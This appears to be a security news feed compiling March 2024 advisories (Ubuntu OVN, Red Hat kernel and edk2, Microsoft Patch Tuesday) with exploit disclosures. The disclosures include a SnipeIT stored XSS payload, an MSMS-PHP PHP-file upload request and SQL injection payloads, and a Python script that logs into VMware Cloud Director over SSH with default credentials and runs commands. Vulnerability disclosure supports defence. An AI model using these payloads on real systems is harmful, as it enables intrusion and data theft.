Ubuntu Security Notice 6691-1 - It was discovered that OVN incorrectly enabled OVS Bidirectional Forwarding Detection on logical ports. A remote attacker could possibly use this issue to disrupt traffic.

==========================================================================  
Ubuntu Security Notice USN-6691-1  
March 12, 2024

ovn vulnerability  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 23.10  
- Ubuntu 22.04 LTS  
- Ubuntu 20.04 LTS

Summary:

OVN could be made to disrupt traffic.

Software Description:  
- ovn: system to support virtual network abstraction

Details:

It was discovered that OVN incorrectly enabled OVS Bidirectional Forwarding  
Detection on logical ports. A remote attacker could possibly use this issue  
to disrupt traffic.

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 23.10:  
   ovn-central                     23.09.0-1ubuntu0.1  
   ovn-common                      23.09.0-1ubuntu0.1  
   ovn-host                        23.09.0-1ubuntu0.1  
   ovn-ic                          23.09.0-1ubuntu0.1

Ubuntu 22.04 LTS:  
   ovn-central                     22.03.3-0ubuntu0.22.04.2  
   ovn-common                      22.03.3-0ubuntu0.22.04.2  
   ovn-host                        22.03.3-0ubuntu0.22.04.2  
   ovn-ic                          22.03.3-0ubuntu0.22.04.2

Ubuntu 20.04 LTS:  
   ovn-central                     20.03.2-0ubuntu0.20.04.5  
   ovn-common                      20.03.2-0ubuntu0.20.04.5  
   ovn-host                        20.03.2-0ubuntu0.20.04.5  
   ovn-ic                          20.03.2-0ubuntu0.20.04.5

In general, a standard system update will make all the necessary changes.

References:  
   https://ubuntu.com/security/notices/USN-6691-1  
   CVE-2024-2182

Package Information:  
   https://launchpad.net/ubuntu/+source/ovn/23.09.0-1ubuntu0.1  
   https://launchpad.net/ubuntu/+source/ovn/22.03.3-0ubuntu0.22.04.2  
   https://launchpad.net/ubuntu/+source/ovn/20.03.2-0ubuntu0.20.04.5

Ubuntu Security Notice USN-6691-1

Microsoft patched 61 vulnerabilities in the March 2024 Patch Tuesday round, including two critical flaws in Hyper-V.

The March 2024 Patch Tuesday update includes patches for 61 Microsoft vulnerabilities. Only two of the vulnerabilities are rated critical and both of these are found in Windows Hyper-V.

Hyper-V is a hardware virtualization product that allows you to run multiple operating systems as virtual machines (VMs) on Windows. A virtual machine is a computer program that emulates a physical computer. A physical “host” computer can run multiple separate “guest” VMs that are isolated from each other, and from the host. The physical resources of the host are allocated to the VMs by a software layer called the hypervisor, which acts an intermediary between the host and guests.

The Common Vulnerabilities and Exposures (CVE) database lists publicly disclosed computer security flaws. The Hyper-V CVEs patched in this round of updates are:

CVE-2024-21407 is a Windows Hyper-V Remote Code Execution (RCE) vulnerability with a CVSS score of 8.1 out of 10. Microsoft says exploitation is less likely since this vulnerability would require an authenticated attacker on a guest to send specially crafted file operation requests to hardware resources on the VM which could result in remote code execution on the host server.

This means the attacker would need a good deal of information about the specific environment, and to take additional actions prior to exploitation to prepare the target environment.

CVE-2024-21408 is a Windows Hyper-V Denial of Service (DOS) vulnerability with a CVSS score of 5.5 out of 10. This means an attacker could target a host machine from a guest and cause it to crash or stop functioning. However, Microsoft did not provide any additional details on how this DOS could occur.

The attention for Hyper-V is remarkable since only a week earlier, VMware released security updates to fix critical sandbox escape vulnerabilities in VMware ESXi, Workstation, Fusion, and Cloud Foundation. VMware ESXi and Hyper-V are both designed to handle large-scale virtualization deployments.

Another vulnerability worth mentioning is CVE-2024-21334, which has a CVSS score of 9.8 out of 10. It’s an Open Management Infrastructure (OMI) RCE vulnerability that affects System Center Operations Manager (SCOM). SCOM is a set of tools in Microsoft’s System Center for infrastructure monitoring and application performance management. A remote, unauthenticated attacker could exploit this vulnerability by accessing the OMI instance from the internet and sending specially crafted requests to trigger a use-after-free vulnerability.

OMI is an open source technology for environment management software products for Linux and Unix-based systems. The OMI project was set up to implement standards-based management so that every device in the world can be managed in a clear, consistent, and coherent way.

Use-after-free vulnerabilities are the result of the incorrect use of dynamic memory during a program’s operation. If, after freeing a memory location, a program does not clear the pointer to that memory, an attacker can exploit the error to manipulate the program. Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.

Microsoft states that if the Linux machines do not need network listening, OMI incoming ports can be disabled. In other cases, customers running affected versions of SCOM (System Center Operations Manager 2019 and 2022) should update to OMI version 1.8.1-0.

**Other vendors**

Other vendors have synchronized their periodic updates with Microsoft. Here are few major ones that you may find in your environment.

**Adobe** has released security updates to address vulnerabilities in several products:

*   Adobe Experience Manager
*   Adobe Premiere Pro
*   Adobe ColdFusion
*   Adobe Bridge
*   Adobe Lightroom
*   Adobe Animate

The **Android** Security Bulletin for February contains details of security vulnerabilities for patch level 2024-03-05 or later.

**Apple** has released a security update for iOS and iPadOS to patch two zero-day vulnerabilities

**SAP** has released its March 2024 Patch Day updates.

**We don’t just report on vulnerabilities—we identify them, and prioritize action.**

Cybersecurity risks should never spread beyond a headline. Keep vulnerabilities in tow by using ThreatDown Vulnerability and Patch Management.

 Microsoft Patch Tuesday March 2024 includes critical Hyper-V flaws 

SnipeIT version 6.2.1 suffers from a persistent cross site scripting vulnerability.

    Exploit Title: SnipeIT 6.2.1 - Stored Cross Site ScriptingDate: 06-Oct-2023Exploit Author: Shahzaib Ali KhanVendor Homepage: https://snipeitapp.comSoftware Link: https://github.com/snipe/snipe-it/releases/tag/v6.2.1Version: 6.2.1Tested on: Windows 11 22H2 and Ubuntu 20.04CVE: CVE-2023-5452Description: SnipeIT 6.2.1 is affected by a stored cross-site scripting(XSS) feature that allows attackers to execute JavaScript commands. Thelocation endpoint was vulnerable.Steps to Reproduce:1. Login as a standard user [non-admin] > Asset page > List All2. Click to open any asset > Edit Asset3. Create new location and add the payload:<script>alert(document.cookie)</script>4. Now login to any other non-admin or admin > Asset page > List All5. Open the same asset of which you can change the location and the payloadwill get executed.POC Request:POST /api/v1/locations HTTP/1.1Host: localhostContent-Length: 118Accept: */*X-CSRF-TOKEN: CDJkvGNWzFKFueeNx0AQMJIhhXJGZmKG1SFeVEGVX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://localhostReferer: http://localhost/hardware/196/editAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: snipeit_session=AHw3ARN6pdg90xU4ovG1FBZywycKPLIxjTUfmELO;assetsListingTable.bs.table.cardView=false; laravel_token=eyJpdiI6IitpM1RXVEVEVGNLZzRTd28wYmhZblE9PSIsInZhbHVlIjoickJocmNYTzNOS3JYdkdhSmpJME1GRmJYMi9DUnVkaStDTzBnbHZDVG1xNVAvbTA5cjJHM1FTbi95SEVzNmNnNzdKNHY5em5pK3ZjQ2F3VnB6RnhJRCs4NkV6NW16RnRWb3M0cXBuT2ZpZExoQ3JrN1VIVHB3cWV5NUtBRWZ4OXBsdEx4R0hSeElLV1BEbWk2WGxiWEBOMDg5cGFySj1rSnENckx3bXg2Qi9KQzFvNGJJTktjTVUw0EI4YVNMd2UxdW1TelBDV1ByUk9yeTFOUDR1cS9SV2tFRi9LOG1iZGVweUxJdGhHTXRLSnFvTU82QVIvREphS215bkRtKzM5M1RVQ21nVENsT1M1Mn1FUT1TbFkOVDVPbHd4a3BFQW1YQkY3NFR2bzRQSGZIelppa001MGYvSmFrbXVGWHpV0FMiLCJtYWMi0iJjZjMwMmQ4ZTB1NmM4MDU5YzU4MTYzZTgxNTcx0WEwYmM2Y2EyMmRlYzZhMmE2ZjI1NzIxYjc4NmIxNjRiOWM5IiwidGFnIjoiIn0%3D;XSRF-TOKEN=eyJpdiI6IjNmMVpNUEpDNCtpV0pHKOczZDRSUmc9PSIsInZhbHVlIjoiWXYvZkY2bTk4MONsUUFZQjZiVWtPdm1JRE1WWmpBd2tsZWNJblgxZWg3dONYL2x0Zkxib3N5Y1N5YmRYVm1XUm91N3pES1F1bHFWMEV1Y2xsZ1VqZ1FYdmdYcjJRZXZMZG9NYmpWY2htL2tPdXNBQUdEbjVHSEVjV2tzKOpYelEiLCJtYWMi0iI1YzhkNmQ2NDAxNmZkYTQ1NzVhZmI5OGY3ODA3MDkOOTc4ZWVhYmMiZWIYMjZhZGZiZWI5MjMOMGJjZDBkNzU4IiwidGFnIjoiIn0%3DConnection: closename=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&city=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&country=Thanks,Shahzaib Ali Khan

SnipeIT 6.2.1 Cross Site Scripting

MSMS-PHP version 1.0 suffers from a remote shell upload vulnerability.

    ## Title: MSMS-PHP (by: oretnom23 ) v1.0 File Upload - RCE browser using## Author: nu11secur1ty## Date: 03/13/2024## Vendor: https://github.com/oretnom23## Software: https://www.sourcecodester.com/php/14924/online-mobile-store-management-system-using-php-free-source-code.html## Reference: https://portswigger.net/web-security/file-upload## Description:The upload function and id=cimg parameter are not sanitizing correctly!The attacker can upload any PHP file which he can execute directly onthe server!STATUS: HIGH-CrITICAL Vulnerability[+]Payload:```POSTPOST /mobile_store/classes/SystemSettings.php?f=update_settings HTTP/1.1Host: localhostContent-Length: 6318sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"Accept: application/json, text/javascript, */*; q=0.01Content-Type: multipart/form-data;boundary=----WebKitFormBoundarypV7nBYU4nAonvWelX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112Safari/537.36sec-ch-ua-platform: "Windows"Origin: http://localhostSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost/mobile_store/admin/?page=system_infoAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=b6i4kegv7jonjlu44gtuo8i4dgConnection: close------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="name"Mobile Store Management System - PHP------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="short_name"MSMS-PHP------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="about_us"<p style="text-align: center; margin-right: 0px; margin-bottom: 0px;margin-left: 0px; padding: 0px; font-family: DauphinPlain; font-size:70px; line-height: 90px;">About Us</p><hr style="margin: 0px; padding:0px; clear: both; border-top: 0px; height: 1px; background-image:linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.75),rgba(0, 0, 0, 0));"><div id="Content" style="margin: 0px; padding:0px; position: relative;"><div id="bannerL" style="margin: 0px 0px 0px-160px; padding: 0px; position: sticky; top: 20px; width: 160px;height: 10px; float: left; text-align: right; color: rgb(0, 0, 0);font-family: "Open Sans", Arial, sans-serif; font-size: 14px;background-color: rgb(255, 255, 255);"></div><div id="bannerR"style="margin: 0px -160px 0px 0px; padding: 0px; position: sticky;top: 20px; width: 160px; height: 10px; float: right; color: rgb(0, 0,0); font-family: "Open Sans", Arial, sans-serif; font-size: 14px;background-color: rgb(255, 255, 255);"></div><div class="boxed"style="margin: 10px 28.7969px; padding: 0px; clear: both; color:rgb(0, 0, 0); font-family: "Open Sans", Arial, sans-serif; font-size:14px; text-align: center; background-color: rgb(255, 255, 255);"><divid="lipsum" style="margin: 0px; padding: 0px; text-align:justify;"></div></div></div><p style="margin-right: 0px;margin-bottom: 15px; margin-left: 0px; padding: 0px;">Lorem ipsumdolor sit amet, consectetur adipiscing elit. Nullam non ultricestortor. Sed at ligula non lectus tempor bibendum a nec ante. Maecenasiaculis vitae nisi eu dictum. Duis sit amet enim arcu. Etiam blanditvulputate magna, non lobortis velit pharetra vel. Morbi sollicitudinlorem sed augue suscipit, eu commodo tortor vulputate. Interdum etmalesuada fames ac ante ipsum primis in faucibus. Pellentesquehabitant morbi tristique senectus et netus et malesuada fames acturpis egestas. Praesent eleifend interdum est, at gravida eratmolestie in. Vestibulum et consectetur dui, ac luctus arcu. Curabituret viverra elit. Cras ac eleifend ipsum, ac suscipit leo. Vivamusporttitor ac risus eu ultricies. Morbi malesuada mi vel luctussagittis. Ut vestibulum porttitor est, id rutrum libero. Mauris atlacus vehicula, aliquam purus quis, pharetra lorem.</p><pstyle="margin-right: 0px; margin-bottom: 15px; margin-left: 0px;padding: 0px;">Proin consectetur massa ut quam molestie porta. Donecsit amet ligula odio. Class aptent taciti sociosqu ad litora torquentper conubia nostra, per inceptos himenaeos. Morbi ex sapien, pulvinarac arcu at, luctus scelerisque nibh. In dolor velit, pellentesque eublandit a, mollis ac neque. Fusce tortor lectus, aliquam et eleifendid, aliquet ut libero. Nunc scelerisque vulputate turpis quisvolutpat. Vivamus malesuada sem in dapibus aliquam. Vestibulumimperdiet, nulla vitae pharetra pretium, magna felis placerat libero,quis tincidunt felis diam nec nisi. Sed scelerisque ullamcorpercursus. Suspendisse posuere, velit nec rhoncus cursus, urna sapienconsectetur est, et lacinia odio leo nec massa. Nam vitae nunc vitaetortor vestibulum consequat ac quis risus. Sed finibus pharetra orci,id vehicula tellus eleifend sit amet.</p><p style="margin-right: 0px;margin-bottom: 15px; margin-left: 0px; padding: 0px;">Morbi id antevel velit mollis egestas. Suspendisse pretium sem urna, vitae placeratturpis cursus faucibus. Ut dignissim molestie blandit. Phaselluspulvinar, eros id ultricies mollis, lectus velit viverra mi, atvenenatis velit purus id nisi. Duis eu massa lorem. Curabitur sed nibhfelis. Donec faucibus, nulla at faucibus blandit, mi justo efficiturdui, non mattis nisl purus non lacus. Maecenas vel congue tellus, inconvallis nisi. Curabitur faucibus interdum massa, eu facilisis ligulapretium quis. Nunc eleifend orci nec volutpat tincidunt.</p><pstyle="margin-right: 0px; margin-bottom: 15px; margin-left: 0px;padding: 0px;">Ut et urna sapien. Nulla lacinia sagittis felis idcursus. Etiam eget lacus quis enim aliquet dignissim. Nulla vel elitultrices, venenatis quam sed, rutrum magna. Pellentesque ultricies nonlorem hendrerit vestibulum. Maecenas lacinia pharetra nisi, atpharetra nunc placerat nec. Maecenas luctus dolor in leo malesuada,vel aliquet metus sollicitudin. Curabitur sed pellentesque sem, intincidunt mi. Aliquam sodales aliquam felis, eget tristique felisdictum at. Proin leo nisi, malesuada vel ex eu, dictum pellentesquemauris. Quisque sit amet varius augue.</p><p style="margin-right: 0px;margin-bottom: 15px; margin-left: 0px; padding: 0px;">Sed quisimperdiet est. Donec lobortis tortor id neque tempus, vel faucibuslorem mollis. Fusce ut sollicitudin risus. Aliquam iaculis tristiquenunc vel feugiat. Sed quis nulla non dui ornare porttitor eu vitaenisi. Curabitur at quam ut libero convallis mattis vel eget mauris.Vivamus vitae lectus ligula. Nulla facilisi. Vivamus tristique maximusnulla, vel mollis felis blandit posuere. Curabitur mi risus, rutrumnon magna at, molestie gravida magna. Aenean neque sapien, volutpat aullamcorper nec, iaculis quis est.</p>------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="files"; filename=""Content-Type: application/octet-stream------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="privacy_policy"<p>Sample Privacy Policy<br></p>------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="files"; filename=""Content-Type: application/octet-stream------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="img"; filename="info.php"Content-Type: application/octet-stream<?php  phpinfo();?>------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="cover"; filename=""Content-Type: application/octet-stream------WebKitFormBoundarypV7nBYU4nAonvWelContent-Disposition: form-data; name="banners[]"; filename=""Content-Type: application/octet-stream------WebKitFormBoundarypV7nBYU4nAonvWel--```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2024/MSMS-PHP(by%3Aoretnom23)v1.0/FU)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/03/msms-php-by-oretnom23-v10-file-upload.html)## Time spent:00:05:00

MSMS-PHP 1.0 Shell Upload

MSMS-PHP version 1.0 suffers from a remote SQL injection vulnerability.

    ## Title: MSMS-PHP (by: oretnom23 ) v1.0 Multiple-SQLi## Author: nu11secur1ty## Date: 03/13/2024## Vendor: https://github.com/oretnom23## Software: https://www.sourcecodester.com/php/14924/online-mobile-store-management-system-using-php-free-source-code.html## Reference: https://portswigger.net/web-security/sql-injection## Description:This issue was generated by the BCheck: puncher_SQLi_bypass_authentication.There is a change in response when nu11secur1ty' or 1=1# is injected.Potential SQLi detected. Please confirm it manually after you checkthe POST, GET, or other requests... The payload from thepuncher_SQLi_bypass_authentication module was submitted successfullyafter the test. The `search` parameter is vulnerable for Multiple SQLiattacks. The attacker can get all information from the system by usingthis vulnerability!STATUS: HIGH- Vulnerability[+]Payload:```mysql---Parameter: search (GET)    Type: error-based    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)    Payload: p=products&search=-9068') OR 1 GROUP BYCONCAT(0x716b717671,(SELECT (CASE WHEN (4449=4449) THEN 1 ELSE 0END)),0x71706b7a71,FLOOR(RAND(0)*2)) HAVING MIN(0)#    Type: UNION query    Title: MySQL UNION query (random number) - 9 columns    Payload: p=products&search=-7515') UNION ALL SELECT2313,2313,2313,2313,CONCAT(0x716b717671,0x6e73537a656d74516c6d6751704b58725771474449755548546a50537054586f6656546a78447941,0x71706b7a71),2313,2313,2313,2313#---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2024/MSMS-PHP(by%3Aoretnom23)v1.0)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/03/msms-php-by-oretnom23-v10-multiple-sqli.html)## Time spend:00:15:00

MSMS-PHP 1.0 SQL Injection

Red Hat Security Advisory 2024-1305-03 - An update for edk2 is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.4 Telecommunications Update Service. Issues addressed include a buffer overflow vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1305.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: edk2 security updateAdvisory ID:        RHSA-2024:1305-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:1305Issue date:         2024-03-13Revision:           03CVE Names:          CVE-2023-45234====================================================================Summary: An update for edk2 is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.4 Telecommunications Update Service.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:EDK (Embedded Development Kit) is a project to enable UEFI support for VirtualMachines. This package contains a sample 64-bit UEFI firmware for QEMU and KVM.Security Fix(es):* edk2: Buffer overflow when processing DNS Servers option in a DHCPv6 Advertise message (CVE-2023-45234)Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-45234References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2258697

Red Hat Security Advisory 2024-1305-03

Red Hat Security Advisory 2024-1304-03 - An update for kernel is now available for Red Hat Enterprise Linux 9.2 Extended Update Support. Issues addressed include a memory exhaustion vulnerability.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1304.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: kernel security, bug fix, and enhancement update  
Advisory ID:        RHSA-2024:1304-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:1304  
Issue date:         2024-03-13  
Revision:           03  
CVE Names:          CVE-2022-0480  
====================================================================

Summary: 

An update for kernel is now available for Red Hat Enterprise Linux 9.2 Extended Update Support.

'Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

The kernel packages contain the Linux kernel, the core of any Linux operating system.

Security Fix(es):

* kernel: memcg does not limit the number of POSIX file locks allowing memory exhaustion (CVE-2022-0480)

Bug Fix(es):

* [RHEL9] Add various *.peak control files to cgroup v2 (JIRA:RHEL-22850)

* RHEL9 Guest on Google Cloud panics on reading pvpanic device capabilities (JIRA:RHEL-23858)

* raid5: read data is wrong when recovery happens  (JIRA:RHEL-23882)

* md/raid5: release batch_last before waiting for another stripe_head (JIRA:RHEL-24512)

* [regression][ext4][xfstests generic/094] Error reading from file with invalid argument (JIRA:RHEL-25436)

* bpf: Fix elem_size not being set for inner maps (JIRA:RHEL-25764)

* Backport \"crypto: rsa - allow only odd e and restrict value in FIPS mode\" (JIRA:RHEL-26078)

* kernel: memcg does not limit the number of POSIX file locks allowing memory exhaustion (JIRA:RHEL-8911)

* [HPEMC RHEL 9.3 BUG] tools/power/x86 intel-speed-select crashes on systems with more than 8 sockets (JIRA:RHEL-17907)

* IPoIB: fix PKEY creation (JIRA:RHEL-22221)

* Memory corruption when using dm-crypt or dm-verity on RHEL-9 (JIRA:RHEL-26095)

* backport smartpqi: fix disable_managed_interrupts (JIRA:RHEL-26143)

* ffdhe* algortihms introduced in 0a2e5b909023 as .fips_allowed=1 lack pairwise consistency tests (JIRA:RHEL-27007)

Enhancement(s):

* s390/qeth: Fix vipa deletion (JIRA:RHEL-25813)

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2022-0480

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://bugzilla.redhat.com/show_bug.cgi?id=2049700

Red Hat Security Advisory 2024-1304-03

VMware Cloud Director version 10.5 suffers from an authentication bypass vulnerability.

    # Exploit Title: [VMware Cloud Director | Bypass identity verification]# Google Dork: [non]# Date: [12/06/2023]# Exploit Author: [Abdualhadi khalifa](https://twitter.com/absholi_ly)# Version: [10.5]# CVE : [CVE-2023-34060]import requestsimport paramikoimport subprocessimport socketimport argparseimport threading# Define a function to check if a port is opendef is_port_open(ip, port):    # Create a socket object    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    # Set the timeout to 1 second    s.settimeout(1)    # Try to connect to the port    try:        s.connect((ip, port))        # The port is open        return True    except:        # The port is closed        return False    finally:        # Close the socket        s.close()# Define a function to exploit a vulnerable devicedef exploit_device(ip, port, username, password, command):    # Create a ssh client object    client = paramiko.SSHClient()    # Set the policy to accept any host key    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())    # Connect to the target using the credentials    client.connect(ip, port, "root", "vmware", allow_agent=False, look_for_keys=False)    # Execute the command and get the output    stdin, stdout, stderr = client.exec_command(command)    # Print the output    print(f"The output of the command {command} on the device {ip}:{port} is: {stdout.read().decode()}")    # Close the ssh connection    client.close()# Parse the arguments from the userparser = argparse.ArgumentParser(description="A Python program to detect and exploit the CVE-2023-34060 vulnerability in VMware Cloud Director")parser.add_argument("ip", help="The target IP address")parser.add_argument("-p", "--ports", nargs="+", type=int, default=[22, 5480], help="The target ports to check")parser.add_argument("-u", "--username", default="root", help="The username for ssh")parser.add_argument("-w", "--password", default="vmware", help="The password for ssh")parser.add_argument("-c", "--command", default="hostname", help="The command to execute on the vulnerable devices")args = parser.parse_args()# Loop through the ports and check for the vulnerabilityfor port in args.ports:    # Check if the port is open    if is_port_open(args.ip, port):        # The port is open, send a GET request to the port and check the status code        response = requests.get(f"http://{args.ip}:{port}")        if response.status_code == 200:            # The port is open and vulnerable            print(f"Port {port} is vulnerable to CVE-2023-34060")            # Create a thread to exploit the device            thread = threading.Thread(target=exploit_device, args=(args.ip, port, args.username, args.password, args.command))            # Start the thread            thread.start()        else:            # The port is open but not vulnerable            print(f"Port {port} is not vulnerable to CVE-2023-34060")    else:        # The port is closed        print(f"Port {port} is closed")

VMware Cloud Director 10.5 Authentication Bypass

Red Hat Security Advisory 2024-1303-03 - An update for kernel-rt is now available for Red Hat Enterprise Linux 9.2 Extended Update Support. Issues addressed include a memory exhaustion vulnerability.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1303.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: kernel-rt security and bug fix update  
Advisory ID:        RHSA-2024:1303-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:1303  
Issue date:         2024-03-13  
Revision:           03  
CVE Names:          CVE-2022-0480  
====================================================================

Summary: 

An update for kernel-rt is now available for Red Hat Enterprise Linux 9.2 Extended Update Support.

'Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

The kernel-rt packages provide the Real Time Linux Kernel, which enables fine-tuning for systems with extremely high determinism requirements.

Security Fix(es):

* kernel: memcg does not limit the number of POSIX file locks allowing memory exhaustion (CVE-2022-0480)

Bug Fix(es):

* kernel-rt: kernel: memcg does not limit the number of POSIX file locks allowing memory exhaustion (JIRA:RHEL-8998)

* kernel-rt: update RT source tree to the latest RHEL-9.2.z7 Batch (JIRA:RHEL-26863)

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2022-0480

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://bugzilla.redhat.com/show_bug.cgi?id=2049700

Red Hat Security Advisory 2024-1303-03

Red Hat Security Advisory 2024-1278-03 - An update for kpatch-patch is now available for Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions. Issues addressed include out of bounds write and use-after-free vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1278.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: kpatch-patch security update  
Advisory ID:        RHSA-2024:1278-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:1278  
Issue date:         2024-03-12  
Revision:           03  
CVE Names:          CVE-2023-3390  
====================================================================

Summary: 

An update for kpatch-patch is now available for Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

This is a kernel live patch module which is automatically loaded by the RPM post-install script to modify the code of a running kernel.

Security Fix(es):

* kernel: ktls overwrites readonly memory pages when using function splice with a ktls socket as destination (CVE-2024-0646)

* kernel: use-after-free in sch_qfq network scheduler (CVE-2023-4921)

* kernel: IGB driver inadequate buffer size for frames larger than MTU (CVE-2023-45871)

* kernel: use after free in nvmet_tcp_free_crypto in NVMe (CVE-2023-5178)

* kernel: net/sched: sch_hfsc UAF (CVE-2023-4623)

* kernel: net/sched: sch_qfq component can be exploited if in qfq_change_agg function happens qfq_enqueue overhead (CVE-2023-3611)

* kernel: nf_tables: stack-out-of-bounds-read in nft_byteorder_eval() (CVE-2023-35001)

* kernel: UAF in nftables when nft_set_lookup_global triggered after handling named and anonymous sets in batch requests (CVE-2023-3390)

* kernel: out-of-bounds write in qfq_change_class function (CVE-2023-31436)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-3390

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2192671  
https://bugzilla.redhat.com/show_bug.cgi?id=2213260  
https://bugzilla.redhat.com/show_bug.cgi?id=2220892  
https://bugzilla.redhat.com/show_bug.cgi?id=2225191  
https://bugzilla.redhat.com/show_bug.cgi?id=2237757  
https://bugzilla.redhat.com/show_bug.cgi?id=2241924  
https://bugzilla.redhat.com/show_bug.cgi?id=2244723  
https://bugzilla.redhat.com/show_bug.cgi?id=2245514  
https://bugzilla.redhat.com/show_bug.cgi?id=2253908

Tag

#vulnerability